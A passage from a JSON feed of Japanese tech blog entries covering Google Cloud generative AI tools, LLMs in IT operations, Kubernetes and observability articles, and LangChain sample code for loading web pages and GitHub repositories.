あります。単に「どのようにコードを書くか」だけでなく、「なぜそのようにコードを書くべきか」について深く考えさせられます。この本は、経験レベルに関わらず、すべてのプログラマーにとって価値ある一冊だと確信しています。今後も、この本で学んだ原則を実践しながら、自身の経験を通じてさらに理解を深めていきたいと思います。エンジニアはソフトスキルよりもハードスキルを磨くべきであり、昔読んだリーダブルコードばかり紹介せずに、新しい知見を学び続けることが重要です。常に進化する技術に対応するため、新しい知識を積極的に吸収していく姿勢が必要不可欠だと考えています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-09-15T06:17:38.000Z","dateMiliSeconds":1726381058000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Google Cloud でのプロンプト管理は Vertex AI Studio を使おう","link":"https://zenn.dev/kimitsu/articles/google-cloud-temporary-prompt-version-management","contentSnippet":"背景Google Cloud では Google Cloud Next \'24 にて Vertex AI Studio の Prompt Version Management とその SDK Support が発表されました。[1]将来的には Google Cloud におけるプロンプト管理はこの機能を使うことになると思われますが、本記事執筆時点では SDK Support は公開されていません。そのため現時点で Google Cloud でプロンプトを管理するのにどのサービスを使うべきか検討した結果を共有します。検討にあたっては以下の観点を考慮しました。バージョン管理機...","isoDate":"2024-09-14T15:52:30.000Z","dateMiliSeconds":1726329150000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Platform Engineering の視点から考える、Kubernetes Load Balancing の比較","link":"https://sreake.com/blog/kubernetes-load-balancing-comparison-on-platform-engineering-view-point/","contentSnippet":"自己紹介 井上 裕介 千葉工業大学 情報科学部 情報工学科 学部4年の井上裕介と申します。大学では主に遺伝的アルゴリズムの改良に関する研究を行っています。2023年のサマーインターンから引き続きSreake事業部にて技術 […]The post Platform Engineering の視点から考える、Kubernetes Load Balancing の比較 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-13T02:59:01.000Z","dateMiliSeconds":1726196341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得","link":"https://sreake.com/blog/google-cloud-partner-advantage-devops/","contentSnippet":"Google Cloud Sell および Service エンゲージメントモデルのプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cloud Partner Advantage プログラムにおいて、「DevOps - サービス」のスペシャライゼーション認定を取得したことをお知らせします。The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-13T01:00:00.000Z","dateMiliSeconds":1726189200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AIを用いたOCR","link":"https://shu-kob.hateblo.jp/entry/2024/09/11/223456","contentSnippet":"OCRとは、Optical Character Recognitionの略で、日本語では光学文字認識といいます。OCRとは何か?OCRは、スキャンした書類や画像に含まれる文字を、コンピュータが読み取り、テキストデータに変換する技術です。つまり、紙に書かれた文字をデジタルの文字に変えて、パソコンで編集したり、検索したりできるようにするものです。OCRの仕組み画像の取り込み: スキャナーやデジタルカメラで、文字が書かれた紙の画像を撮影します。画像の前処理: 画像のノイズ除去や歪みの修正など、文字認識を円滑に行うための処理を行います。文字の切り出し: 画像から文字を一つずつ切り出します。文字の認識: 切り出した文字を、事前に登録された文字のパターンと照合し、どの文字か判定します。テキストデータへの変換: 認識された文字を、テキストデータに変換します。OCRの活用例書類のデジタル化: 紙の書類をスキャンしてテキストデータに変換することで、電子化し、保管や検索を効率化できます。データ入力の自動化: 請求書や領収書などの文字情報を自動的に読み込むことで、データ入力の手間を大幅に削減できます。検索の効率化: テキストデータに変換された文書は、キーワード検索が可能になり、必要な情報に素早くアクセスできます。翻訳: OCRでテキストデータに変換した後に、翻訳ソフトウェアを使って他の言語に翻訳することができます。OCRのメリット作業の効率化: 手作業でのデータ入力に比べて、大幅に作業時間を短縮できます。正確性の向上: 人による入力ミスを減らすことができ、データの正確性を高めます。コスト削減: 人件費の削減につながります。ペーパーレス化: 紙の書類を電子化することで、保管スペースを削減し、環境にも優しいです。OCRの種類OCRには、大きく分けて以下の2種類があります。OCRエンジン: ソフトウェア開発者が、OCR機能を自社のアプリケーションに組み込むために利用するソフトウェアです。OCRサービス: クラウド上で提供されるOCR機能で、APIなどを利用して簡単にOCR機能を導入できます。OCRの選び方OCRを選ぶ際には、以下の点に注意しましょう。認識精度: どの程度の精度で文字を認識できるか。対応言語: どの言語に対応しているか。対応フォント: どのフォントに対応しているか。対応ファイル形式: どのファイル形式に対応しているか。価格: 有料か無料か、料金体系はどうか。AIを用いたOCRcloud.google.comGoogle CloudなどパブリッククラウドでOCR機能が提供されています。Geminiで使用することもできます。OCRの活用の幅が広がり、工数削減に役立ちそうですね。まとめOCRは、紙の文書をデジタル化し、業務効率化に貢献する便利な技術です。様々な分野で活用されており、今後もその重要性はますます高まっていくでしょう。","isoDate":"2024-09-11T13:34:56.000Z","dateMiliSeconds":1726061696000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Apple Intelligence触ってみたい","link":"https://shu-kob.hateblo.jp/entry/2024/09/10/235654","contentSnippet":"k-tai.watch.impress.co.jpiPhone16で、Apple Intelligenceという名の生成AIが搭載されるようですね。Xなどではいまいち、盛り上がりに欠けているものの、生成AIを生業にするものとしては、触ってみたいです。Google PixelがGeminiを搭載したAIスマホとして売り出されていますが、iPhone・Apple Watch・Macユーザとしては、引き続きiPhoneですかね。Geminiは好きなので、Google Pixel欲しい気もしますがww","isoDate":"2024-09-10T14:56:54.000Z","dateMiliSeconds":1725980214000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"GKE Observabilityツール – Cloud Service MeshとCiliumの比較","link":"https://sreake.com/blog/cloud-service-mesh-cilium-comparison/","contentSnippet":"はじめに extended Berkley Packet Filter (eBPF) は、Linuxのカーネルに組み込まれた技術で、カーネルに直接変更を加えることなくプログラムを安全にカーネル内で実行することを可能にしま […]The post GKE Observabilityツール – Cloud Service MeshとCiliumの比較 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-09T04:55:11.000Z","dateMiliSeconds":1725857711000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知","link":"https://sreake.com/blog/monitoring-and-alerting-with-cloud-monitoring-and-cloud-logging/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-09T01:05:46.000Z","dateMiliSeconds":1725843946000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成 AI アプリで収集するべきテレメトリは何か","link":"https://zenn.dev/kimitsu/articles/gen-ai-telemetry","contentSnippet":"2024 年現在、生成 AI のアプリケーションへの応用が進んでおり^{[要出典]}、運用のためのツールやサービスが登場しています。生成 AI 専用のサービスとしては LangSmith と Langfuse が有名で、それぞれモデルへの入出力やトレースなどを取ることができます。監視 SaaS である Datadog でも LLM Observability の機能がリリースされています。また先月末には Google Cloud のブログにて GenOps についての記事が投稿され、その中でロギングや評価についての記載もありました。https://cloud.google.com...","isoDate":"2024-09-08T03:11:06.000Z","dateMiliSeconds":1725765066000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Google の提唱する GenOps って何?","link":"https://zenn.dev/kimitsu/articles/what-is-genops","contentSnippet":"2024 年 8 月 31 日に Google Cloud のブログにて「GenOps: learning from the world of microservices and traditional DevOps」という記事が投稿されました。https://cloud.google.com/blog/products/devops-sre/genops-learnings-from-microservices-and-traditional-devopsこれまでも LangSmith や Langfuse といった LLMOps ツールや Datadog の LLM Observ...","isoDate":"2024-09-07T07:59:59.000Z","dateMiliSeconds":1725695999000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"生成AIにおけるベクトルインデックス","link":"https://shu-kob.hateblo.jp/entry/2024/09/06/234850","contentSnippet":"生成AIにおけるベクトルインデックス:詳細解説ベクトルインデックスとは?ベクトルインデックスは、生成AIにおいて、テキスト、画像、音声などの非構造化データを、数値のベクトルに変換し、そのベクトル間の類似度に基づいて検索や推薦を行うための技術です。なぜベクトルに変換するのか?意味の理解: 単語の並びだけでなく、単語間の関係性や文脈を数値として表現することで、コンピュータがより深くテキストの意味を理解できるようになります。高速な検索: 高次元空間上のベクトル間の距離を計算することで、従来のキーワード検索よりも高速かつ正確に類似したデータを検索できます。多様なデータの統合: テキストだけでなく、画像や音声などもベクトルに変換することで、異なる種類のデータを統一的に扱うことができます。ベクトルインデックスの仕組みベクトル化: テキストや画像などを、ニューラルネットワークなどのモデルを用いて数値のベクトルに変換します。インデックス作成: 変換されたベクトルを、効率的に検索できるようにインデックスを作成します。ベクトル検索: ユーザーのクエリをベクトル化し、作成されたインデックスから最も類似したベクトルを検索します。ベクトルインデックスの活用事例検索エンジン: キーワードだけでなく、文章の意味に基づいたより精度の高い検索を実現します。推薦システム: ユーザーの興味関心に基づいた商品やコンテンツを推薦します。チャットボット: ユーザーの質問に対して、より自然な回答を生成します。画像検索: 画像の内容に基づいた検索や、類似画像の検索を行います。ベクトルインデックスのメリット高精度な検索: キーワードマッチングだけでなく、意味に基づいた検索が可能になります。柔軟なデータ処理: テキストだけでなく、画像や音声など、様々な種類のデータを扱えます。スケーラビリティ: 大量のデータを効率的に処理できます。ベクトルインデックスの課題次元数の呪い: 高次元空間での計算コストが大きくなることがあります。モデルの選択: どのモデルを用いてベクトルに変換するかが、性能に大きく影響します。解釈の難しさ: ベクトル表現が抽象的であり、人間が直感的に理解することが難しい場合があります。今後の展望ベクトルインデックスは、生成AIのさらなる発展に不可欠な技術です。より大規模なデータセットへの対応、より高精度なベクトル化モデルの開発、そして、ベクトル表現の解釈に関する研究が進められていくことが期待されます。具体的な活用事例eコマース: ユーザーの過去の購入履歴や検索履歴に基づいた商品推薦カスタマーサポート: チャットボットによるFAQ検索や、ユーザーの問い合わせに対する自動応答医療: 医療論文の検索や、診断支援金融: リスク評価や不正検知まとめベクトルインデックスは、生成AIの性能を飛躍的に向上させるための重要な技術です。様々な分野での応用が期待されており、今後もその重要性はますます高まっていくでしょう。さらに詳しく知りたい場合は、以下のキーワードで検索してみてください。ベクトルデータベースベクトル検索自然言語処理機械学習ニューラルネットワーク何か他に聞きたいことがあれば、お気軽にご質問ください。より具体的な質問の例:特定のベクトルデータベースについて詳しく知りたいベクトルインデックスを構築する際の注意点ベクトルインデックスを生成AIの開発にどのように活用できるかこれらの質問に対して、より詳細な情報を提供できます。","isoDate":"2024-09-06T14:48:50.000Z","dateMiliSeconds":1725634130000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloud Run GPU + Ollama gemma2 のパフォーマンスを図ってみる","link":"https://zenn.dev/satohjohn/articles/912b4c718a8d74","contentSnippet":"概要Google Cloud 上で申請することで、Cloud Run GPU が使えるようになったので実行してみます。https://cloud.google.com/run/docs/configuring/services/gpu?hl=ja申請フォームGoogle Cloud では以下のように、サンプルが載っているので一旦それの通りの沿って、Gemma2 を起動するアプリケーションを作成します。https://cloud.google.com/run/docs/tutorials/gpu-gemma2-with-ollama?hl=jaとはいえ、それだけだとそのまま...","isoDate":"2024-09-06T08:31:03.000Z","dateMiliSeconds":1725611463000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Cloud Operator Days Tokyo 2024 でLLMで運用を改善する時の基本のキを話してきた #CODT2024","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","contentSnippet":"はじめにこんにちは。今日、Cloud Operator Days 2024 クロージングイベントにて「2024年版 運用者たちのLLM」というタイトルで登壇させていただきました。この記事では、発表の内容と、それに対する反響、そして個人的な振り返りを共有したいと思います。https://cloudopsdays.com/ より引用発表資料 speakerdeck.com発表の概要今回の発表では、LLM(大規模言語モデル)が運用にもたらす可能性と課題について探りました。主に以下のポイントに焦点を当てて議論を展開しました。AIOpsの文脈におけるLLMの位置づけLLMによる運用タスクの改善インシデント対応ドキュメンテーションコード分析LLM活用における課題「幻覚」問題不完全性とバイアス効果的なLLM活用のための戦略適切な利用方法プロンプトエンジニアリングの重要性発表タイトルを「2024年版 運用者たちのLLM」としたのには、理由があります。AIOpsが流行した際に見られた議論が、LLMについても繰り返されているなぁと感じたからです。仕方ないのですが新しい技術が登場するたびに、その可能性と課題について同様の議論が繰り返されます。この観察から、LLMの運用への適用についても、過去の教訓を活かしつつ、冷静に評価することの重要性を強調したいと考えました。技術の進化は確かに速いですが、基本的な課題や考慮すべき点は、意外にも変わらないことが多いのです。そのため、この発表ではLLMの新しい部分を認識しつつも、過去の類似技術の導入事例から学び、より成熟したアプローチで運用に活かす方法を提案することを目指しました。LLMがもたらす可能性LLMは、自然言語処理能力と豊富な知識ベースを活かして、運用の様々な側面を改善する可能性を秘めています。例えば:インシデント対応:過去の類似事例の迅速な検索と解決策の提案ドキュメンテーション:自動生成や更新、整理による効率化コード分析:バグの検出、最適化の提案、セキュリティ脆弱性の指摘これらでは、運用チームの生産性向上と、人間のエラーを減少させることが期待できます。課題と注意点一方で、運用におけるLLMにはいくつかの重要な課題があります。「幻覚」問題:事実と異なる情報を自信を持って提示してしまう不完全性:最新の情報や専門的な知識が不足している可能性バイアス:学習データに含まれるバイアスが出力に反映されるこれらの課題に対処するためには、LLMの出力を常に人間が検証し、適切に管理することが重要です。効果的な活用に向けてLLMを効果的に活用するためには、以下のアプローチが有効です。明確な利用ガイドラインの策定実行能力を奪っておくプロンプトエンジニアリングのスキル向上人間とLLMの協調作業モデルの確立継続的な学習と改善のプロセス導入反響と今後の展望発表後、参加者から興味深いフィードバックをいただきました。特に、LLMの実際の運用現場での活用事例や、課題への具体的な対処法に関する質問が多く寄せられました。これらの反応から、運用におけるLLM活用はまだ発展途上であり、多くの企業や組織、個人がまだまだ試行錯誤の段階にあることがわかりました。今後は、より具体的な事例研究や、ベストプラクティスの共有が求められると感じています。さいごにLLMは確かに素晴らしい技術ですが、万能ではありません。現段階だと人間の専門知識や判断力と組み合わせることで、初めてその真価を発揮します。今後も、LLMと運用の関係性について研究を続け、自動化の楽しさを紹介していきたいと考えています(ホンマか??)。","isoDate":"2024-09-06T06:46:07.000Z","dateMiliSeconds":1725605167000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Scala アプリケーションのビルドを改善してデプロイ時間を 1/4 にした話 | How I improved the build of my Scala application and reduced deployment time by 4x","link":"https://speakerdeck.com/nomadblacky/scala-ahurikesiyonnohirutowogai-shan-sitetehuroishi-jian-wo-1-4-nisitahua-how-i-improved-the-build-of-my-scala-application-and-reduced-deployment-time-by-4x","contentSnippet":"2024/09/06 Scalaわいわい勉強会 #3\\rhttps://scala-tokyo.connpass.com/event/325327/","isoDate":"2024-09-06T04:00:00.000Z","dateMiliSeconds":1725595200000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"2024年版 運用者たちのLLM","link":"https://speakerdeck.com/nwiizo/2024nian-ban-yun-yong-zhe-tatinollm","contentSnippet":"Cloud Operator Days 2024 クロージングイベント\\rhttps://cloudopsdays.com/closing/\\r\\rとても、端的に言うと「プロンプトエンジニアリングをしよう」って話。\\rこの発表資料は、LLM(大規模言語モデル)によるIT運用の可能性と課題を探っています。AIOpsの概念を基に、LLMがインシデント対応、ドキュメンテーション、コード分析などの運用タスクをどのように改善できるかを説明しています。同時に、LLMの「幻覚」や不完全性といった課題も指摘し、適切な利用方法やプロンプトエンジニアリングの重要性を強調しています。\\r\\r登壇時ブログ\\rhttps://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","isoDate":"2024-09-06T04:00:00.000Z","dateMiliSeconds":1725595200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Anker Soundcore Space A40を買った(True wireless earphone)","link":"https://blog.atusy.net/2024/09/06/anker-soundcore-a40/","contentSnippet":"Anker Soundcore Space A40を買いました。https://www.ankerjapan.com/products/a3936前から使ってみたかったところに、Amazonのセールで¥12,990 -> ¥8,990と安くなってたので、購入を決意。対抗馬は横向きで寝ててても使いやすいっぽい Anker Soundcore Sleep A20 でした。ただ、Sleep A20はセールしていなかったのと、私が寝るときはだいたい寝る時は仰向けスタートなので、Space A40でよかろうと判断。","isoDate":"2024-09-06T00:00:00.000Z","dateMiliSeconds":1725580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"zfをline-wise化して直感的な挙動にするマッピング","link":"https://blog.atusy.net/2024/09/06/linewise-zf/","contentSnippet":"zfがline-wiseに作用するようnnoremap zf zfVやvnoremap zf mode() ==# \'V\' ? \'zf\' : \'Vzf\'しとくと便利","isoDate":"2024-09-06T00:00:00.000Z","dateMiliSeconds":1725580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud Gemini向けの生成AIのプロンプトエンジニアリング","link":"https://shu-kob.hateblo.jp/entry/2024/09/05/235035","contentSnippet":"cloud.google.com生成AIのプロンプトエンジニアリングは様々な手法がありますが、Gemini for Google Cloudなんて出ているのですね。Google Cloud のプロダクトとサービスに関しては、Geminiは学習済のようで、詳しいようです。読んで勉強したいと思います。","isoDate":"2024-09-05T14:50:35.000Z","dateMiliSeconds":1725547835000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Mini-Omni OSSでSpeech-to-Speechができるようになる?","link":"https://shu-kob.hateblo.jp/entry/2024/09/04/233919","contentSnippet":"arxiv.orgGPT-4oの進化系で、リアルタイム音声会話のできる生成AIがOSSで出たようです。github.comその名もMini-Omni。小型モデルでどうリアルタイム音声会話を実現したのか興味深いですね。生成AIでリアルタイム音声会話は難しく、Speech-to-Text-to-Speechという変換手順を踏む必要があり、時間がかかっていたところ、リアルタイム、つまりSpeech-to-Speechで早く処理できるようになった、ということですね。ぜひ論文を読んでみたいと思います。以下、AbstractをGeminiで訳してみました。(OpenAIちゃうんかいw)言語モデルの進歩とMini-Omni言語モデルの最近の進歩は、大きな成果を上げています。GPT-4oは新たなマイルストーンとして、人間とのリアルタイム会話が可能となり、人間に近い自然な流暢さを示しています。このような人間とコンピュータのインタラクションを実現するには、音声モダリティで直接推論を行い、ストリーミングで出力生成できるモデルが必要となります。しかし、これは現在の学術的なモデルではまだ実現できていません。これらのモデルは通常、音声合成のために追加のTTSシステムに依存しており、望ましくない遅延が生じます。本論文では、リアルタイム音声インタラクションが可能なオーディオベースのエンドツーエンド会話モデルであるMini-Omniを紹介します。この機能を実現するために、テキスト指示による音声生成方法と、推論時のバッチ並列戦略を提案しています。この手法は、元のモデルの言語能力を最小限の劣化で保持するのに役立ち、他の研究がリアルタイムインタラクション機能を確立できるようにします。このトレーニング方法を「Any Model Can Talk」と呼んでいます。また、音声出力を最適化したモデルをファインチューニングするためのVoiceAssistant-400Kデータセットも紹介します。私たちの知る限り、Mini-Omniはリアルタイム音声インタラクションのための最初の完全なエンドツーエンド、オープンソースモデルであり、今後の研究に貴重な可能性を提供します。","isoDate":"2024-09-04T14:39:19.000Z","dateMiliSeconds":1725460759000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloudの生成AIサンプルアプリEnterprise Knowledge Solution (EKS)","link":"https://shu-kob.hateblo.jp/entry/2024/09/03/235705","contentSnippet":"github.comGoogle Cloudの生成AIサンプルアプリ「Enterprise Knowledge Solution」 (EKS)がGitHubで公開されています。EKSはAmazon Elastic Kubernetes Serviceと紛らわしい(苦笑)「Enterprise Knowledge Solution」 はIAPとCloud RunベースでUI付きの生成AIアプリケーションをさっとデプロイできるようです。私はまだ試せていないですが、是非とも触ってみたいですね。terraformでデプロイできる模様。これは面白そう。コードも参考になりそうですね。","isoDate":"2024-09-03T14:57:05.000Z","dateMiliSeconds":1725375425000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChain Meetup Tokyo #2に登壇し、LangChainでWebサイトの内容取得やGitHubソースコード取得、というタイトルで発表しました","link":"https://shu-kob.hateblo.jp/entry/2024/09/02/224106","contentSnippet":"langchain.connpass.comLangChain Meetup Tokyo #2に登壇してきました。私は「LangChainでWebサイトの内容取得やGitHubソースコード取得」というタイトルで発表しました!次は @shu_kob によるLangChainでWebサイトの内容取得やGitHubソースコード取得\uD83D\uDC4F #LangChainJP pic.twitter.com/ryvFxqv6M1— こぎそ | Algomatic (@kgsi) 2024年9月2日 写真撮っていただけてました。ありがとうございます。ChatGPT/LangChainによるチャットシステム構築[実践]入門作者:吉田 真吾,大嶋 勇樹技術評論社Amazon「ChatGPT/LangChainによるチャットシステム構築[実践]入門」の著者、吉田 真吾さん、大嶋 勇樹さんにもお会いできました。お二人の会社、株式会社ジェネラティブエージェンツのCEO西見公宏さんにもお会いでき、コロッケそばさん、技術者としてステキ‼️ #langchainjp pic.twitter.com/N1GE4ArjJ0— \uD835\uDE4E\uD835\uDE5D\uD835\uDE5E\uD835\uDE63\uD835\uDE5C\uD835\uDE64 吉田真吾 (@yoshidashingo) 2024年9月2日 65歳で登壇されたコロッケそばさんかっこよかったです! speakerdeck.com↑私の資料はこちらにアップロードしています。様々な学びがあり、もっと生成AIを頑張ろう、と思えた刺激的なMeetupでした!","isoDate":"2024-09-02T13:41:06.000Z","dateMiliSeconds":1725284466000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChainでWebサイトの内容取得やGitHubソースコード取得","link":"https://speakerdeck.com/shukob/langchaindewebsaitononei-rong-qu-de-yagithubsosukodoqu-de","contentSnippet":"https://langchain.connpass.com/event/329185/\\r\\rLangChainでは、Webサイトの内容取得やGitHubソースコード取得もできます。\\r使用してみた所感も交えてこれらの機能のご紹介をします。","isoDate":"2024-09-02T04:00:00.000Z","dateMiliSeconds":1725249600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Project IDX での Web アプリケーション開発","link":"https://zenn.dev/satohjohn/articles/4e7a1e5e3140e1","contentSnippet":"概要Project IDX (以下 IDX) は Google Cloud の Cloud Workstations をベースに Google がホストする仮想実装環境を提供してくれるサービスになります。https://idx.dev/PWA 対応しているため、install して利用することが可能です。(私は、 https://open-vsx.org/extension/k--kato/intellij-idea-keybindings こちらの extensions を利用しているため keybind を考えると install したほうが扱いやすいというのがあります)...","isoDate":"2024-09-02T03:41:10.000Z","dateMiliSeconds":1725248470000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"LangChainでgithubリポジトリのソースコードを読む方法","link":"https://shu-kob.hateblo.jp/entry/2024/09/01/235529","contentSnippet":"shu-kob.hateblo.jp昨日の記事に関連して、今回はLangChainでgithubリポジトリのソースコードを読む方法です。github.com↑サンプルソースコードを載せています。js.langchain.com↑使い方はこちら実行例npx ts-node githubLoader.ts https://github.com/shu-kob/langchain-sample-codeDocument { pageContent: \\"import { CheerioWebBaseLoader } from \'@langchain/community/document_loaders/web/cheerio\'\\\\n\\" + \\"import { RecursiveCharacterTextSplitter } from \'@langchain/textsplitters\'\\\\n\\" + \\"import { HtmlToTextTransformer } from \'@langchain/community/document_transformers/html_to_text\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function webLoad (url: string) {\\\\n\' + \' const loader = new CheerioWebBaseLoader(url)\\\\n\' + \' const docs = await loader.load()\\\\n\' + \\" const splitter = RecursiveCharacterTextSplitter.fromLanguage(\'html\')\\\\n\\" + \' const transformer = new HtmlToTextTransformer()\\\\n\' + \' const sequence = splitter.pipe(transformer)\\\\n\' + \' const newDocuments = await sequence.invoke(docs)\\\\n\' + \\" console.log(\'newDocuments:\')\\\\n\\" + \' console.log(newDocuments)\\\\n\' + \'}\\\\n\' + \'\\\\n\' + \'webLoad(url)\\\\n\', metadata: { source: \'cheerioWebBaseLoader.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}Document { pageContent: \\"import { GithubRepoLoader } from \'@langchain/community/document_loaders/web/github\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function readSorceCodesFromGithub(url: string) {\\\\n\' + \'\\\\n\' + \' const loader = new GithubRepoLoader(\\\\n\' + \' url,\\\\n\' + \' {\\\\n\' + \' branch: \\"main\\", // Defaultブランチが \\"master\\" でないか注意。他のブランチも選択可能\\\\n\' + \' recursive: true,\\\\n\' + \' processSubmodules: true,\\\\n\' + \' unknown: \\"warn\\",\\\\n\' + \' maxConcurrency: 5, // Defaults to 2\\\\n\' + \' ignorePaths: [\\"*.json\\", \\"*.yaml\\", \\"*.yml\\", \\"*config*\\", \\"*.md\\", \\"Dockerfile\\", \\"*ignore\\", \\".eslintrc.js\\", \\"*.svg\\"] // 除外するファイルパス\\\\n\' + \' }\\\\n\' + \' );\\\\n\' + \'\\\\n\' + \' for await (const doc of loader.loadAsStream()) {\\\\n\' + \' console.log(doc)\\\\n\' + \' }\\\\n\' + \'};\\\\n\' + \'\\\\n\' + \'readSorceCodesFromGithub(url)\\\\n\', metadata: { source: \'githubLoader.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}Document { pageContent: \\"import * as cheerio from \'cheerio\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function webLoad (url: string) {\\\\n\' + \' // HTMLの取得\\\\n\' + \' const response = await fetch(url)\\\\n\' + \' const htmlText = await response.text()\\\\n\' + \' const cheerioText = cheerio.load(htmlText)\\\\n\' + \'\\\\n\' + \' // styleとscriptを除去\\\\n\' + \\" cheerioText(\'style\').remove()\\\\n\\" + \\" cheerioText(\'script\').remove()\\\\n\\" + \'\\\\n\' + \\" const bodyContent: string = cheerioText(\'body\').text().replace(/\\\\\\\\s+/g, \'\')\\\\n\\" + \'\\\\n\' + \\" console.log(\'bodyContent:\')\\\\n\\" + \' console.log(bodyContent)\\\\n\' + \' return bodyContent\\\\n\' + \'}\\\\n\' + \'\\\\n\' + \'webLoad(url)\\\\n\', metadata: { source: \'webLoad.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}これらのソースコードをプロンプトに含めて、生成AIに投げます。例えば、GitHubリポジトリの仕様を聞くなどです。多くの場合、ソースコードの文量は多くなり、それなりのトークン数になるので、200万トークン対応のGemini-1.5などを使うのが良いでしょう。","isoDate":"2024-09-01T14:55:29.000Z","dateMiliSeconds":1725202529000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChainでURLからWebページの中身を読み込む方法","link":"https://shu-kob.hateblo.jp/entry/2024/08/31/223416","contentSnippet":"langchain.connpass.com今度、Langchain Meetup Tokyoで喋るので、「LangChainでURLからWebページの中身を読み込む方法」を準備中github.com↑ソースコードを上げておきました。npx ts-node cheerioWebBaseLoader.ts https://shu-kob.hateblo.jp/entry/2024/08/29/234143という形で実行し、以下の結果が得られます。newDocuments:[ Document { pageContent: \'Toilを無くして徒然なるままに日暮し硯に向かひたい 読者になる Toilを無くして徒然なるままに日暮し硯に向かひたい\\\\n\' + \'生成AIアプリケーション開発などを行うエンジニアのブログです。 2024-08-29 オライリーのAWS生成AI本 AWSではじめる生成AI\\\\n\' + \'―RAGアプリケーション開発から、基盤モデルの微調整、マルチモーダルAI活用までを試して学ぶ作者:Chris Fregly,Antje\\\\n\' + \'Barth,Shelbee EigenbrodeオライリージャパンAmazon そういや、オライリージャパンからAWSの生成AI本出てますね。\\\\n\' + \'欲しいと思いながらも買うてない。 現状、自身の仕事のほとんどはGoogle cloudなので、AWS書籍どうしようかと思ってますが、\\\\n\' + \'面白そうなら買うてみるしか! 翻訳はAWS Japanの久富木 隆一さん。 AWSの中の人が翻訳しているので確かでしょうね! shu-kob\\\\n\' + \'2024-08-29 23:41 読者になる\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'shu-kob 2024-08-29 23:41 読者になる 広告を非表示にする 関連記事 2024-08-04 日本生成AIユーザ会\\\\n\' + \'Geminiマルチモーダルプログラミング(ハンズオン)を2024年8月13日(… genai-users.connpass.com\\\\n\' + \'このブログで何回か書いておりますが… 2024-07-20 Google Gemini 1.5/LlamaIndex/LangChain\\\\n\' + \'人工知能プログラミング… 2024年7月15日に Googleの生成AIモデル Gemini1.5 に対応した技…\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'1.5/LlamaIndex/LangChain 人工知能プログラミング… 2024年7月15日に Googleの生成AIモデル Gemini1.5\\\\n\' + \'に対応した技… 2024-06-07 Google Cloud Vertex AI Agent Builderの使い方\\\\n\' + \'RAG(Retrieval-Augmented Generation) RAG(Retrieval Augmente… 2024-04-05\\\\n\' + \'生成AIアプリケーション開発入門ハンズオン genai-users.connpass.com この記事は、日本生成AIユーザ会 #1 … 2023-12-17\\\\n\' + \'生成AIについて学んだのでざっとアウトプット はじめに 3-shake Advent Calendar 2023シリーズ1、17日目の記… もっと読む\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'生成AIについて学んだのでざっとアウトプット はじめに 3-shake Advent Calendar 2023シリーズ1、17日目の記… もっと読む\\\\n\' + \'コメントを書く \xab SRETT#10 ~ 夏のSRE祭り!アーカイブ動画… 「SREをはじめよう」(Becoming SRE邦訳)が… \xbb プロフィール\\\\n\' + \'id:shu-kob 読者です 読者をやめる 